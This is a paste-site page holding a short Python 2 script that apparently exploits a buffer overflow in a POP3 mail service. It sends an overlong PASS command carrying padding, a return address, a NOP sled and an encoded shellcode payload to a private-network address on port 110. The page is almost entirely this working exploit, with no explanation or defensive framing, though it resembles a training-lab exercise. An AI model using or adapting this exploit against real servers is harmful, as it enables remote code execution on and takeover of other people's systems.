Slexy.org is shutting down and stopped accepting new Pastes on May 4th, 2021.
Existing Pastes will stop being available on or after May 10th, 2021.
Author: Not specified Language: python
Description: Not specified Timestamp: 2017-09-06 23:37:56 +0000
View raw paste Reply
  1. #!/usr/bin/python
  2. import socket
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4.  
  5. shellcode = ("\xdb\xd3\xbb\x37\x39\xd3\x94\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
  6. "\x52\x31\x5f\x17\x03\x5f\x17\x83\xf0\x3d\x31\x61\x02\xd5\x37"
  7. "\x8a\xfa\x26\x58\x02\x1f\x17\x58\x70\x54\x08\x68\xf2\x38\xa5"
  8. "\x03\x56\xa8\x3e\x61\x7f\xdf\xf7\xcc\x59\xee\x08\x7c\x99\x71"
  9. "\x8b\x7f\xce\x51\xb2\x4f\x03\x90\xf3\xb2\xee\xc0\xac\xb9\x5d"
  10. "\xf4\xd9\xf4\x5d\x7f\x91\x19\xe6\x9c\x62\x1b\xc7\x33\xf8\x42"
  11. "\xc7\xb2\x2d\xff\x4e\xac\x32\x3a\x18\x47\x80\xb0\x9b\x81\xd8"
  12. "\x39\x37\xec\xd4\xcb\x49\x29\xd2\x33\x3c\x43\x20\xc9\x47\x90"
  13. "\x5a\x15\xcd\x02\xfc\xde\x75\xee\xfc\x33\xe3\x65\xf2\xf8\x67"
  14. "\x21\x17\xfe\xa4\x5a\x23\x8b\x4a\x8c\xa5\xcf\x68\x08\xed\x94"
  15. "\x11\x09\x4b\x7a\x2d\x49\x34\x23\x8b\x02\xd9\x30\xa6\x49\xb6"
  16. "\xf5\x8b\x71\x46\x92\x9c\x02\x74\x3d\x37\x8c\x34\xb6\x91\x4b"
  17. "\x3a\xed\x66\xc3\xc5\x0e\x97\xca\x01\x5a\xc7\x64\xa3\xe3\x8c"
  18. "\x74\x4c\x36\x02\x24\xe2\xe9\xe3\x94\x42\x5a\x8c\xfe\x4c\x85"
  19. "\xac\x01\x87\xae\x47\xf8\x40\xdb\x9c\x02\xe5\xb3\xa0\x02\x04"
  20. "\xff\x2c\xe4\x6c\xef\x78\xbf\x18\x96\x20\x4b\xb8\x57\xff\x36"
  21. "\xfa\xdc\x0c\xc7\xb5\x14\x78\xdb\x22\xd5\x37\x81\xe5\xea\xed"
  22. "\xad\x6a\x78\x6a\x2d\xe4\x61\x25\x7a\xa1\x54\x3c\xee\x5f\xce"
  23. "\x96\x0c\xa2\x96\xd1\x94\x79\x6b\xdf\x15\x0f\xd7\xfb\x05\xc9"
  24. "\xd8\x47\x71\x85\x8e\x11\x2f\x63\x79\xd0\x99\x3d\xd6\xba\x4d"
  25. "\xbb\x14\x7d\x0b\xc4\x70\x0b\xf3\x75\x2d\x4a\x0c\xb9\xb9\x5a"
  26. "\x75\xa7\x59\xa4\xac\x63\x79\x47\x64\x9e\x12\xde\xed\x23\x7f"
  27. "\xe1\xd8\x60\x86\x62\xe8\x18\x7d\x7a\x99\x1d\x39\x3c\x72\x6c"
  28. "\x52\xa9\x74\xc3\x53\xf8")
  29.  
  30. buffer = 'A'*2606 + '\x8F\x35\x4A\x5F' + "\x90" * 16 + shellcode + 'C'*(3500-2610-351-16)
  31.  
  32. try:
  33.         print "\nSending evil buffer..."
  34.         s.connect(('10.11.12.104',110))
  35.         data = s.recv(1024)
  36.         s.send('USER username' + '\r\n')
  37.         data = s.recv(1024)
  38.         s.send('PASS ' + buffer + '\r\n')
  39.         print "\nDone!."
  40. except:
  41.         print "Could not connect to POP3!"
  42.  
View raw paste Reply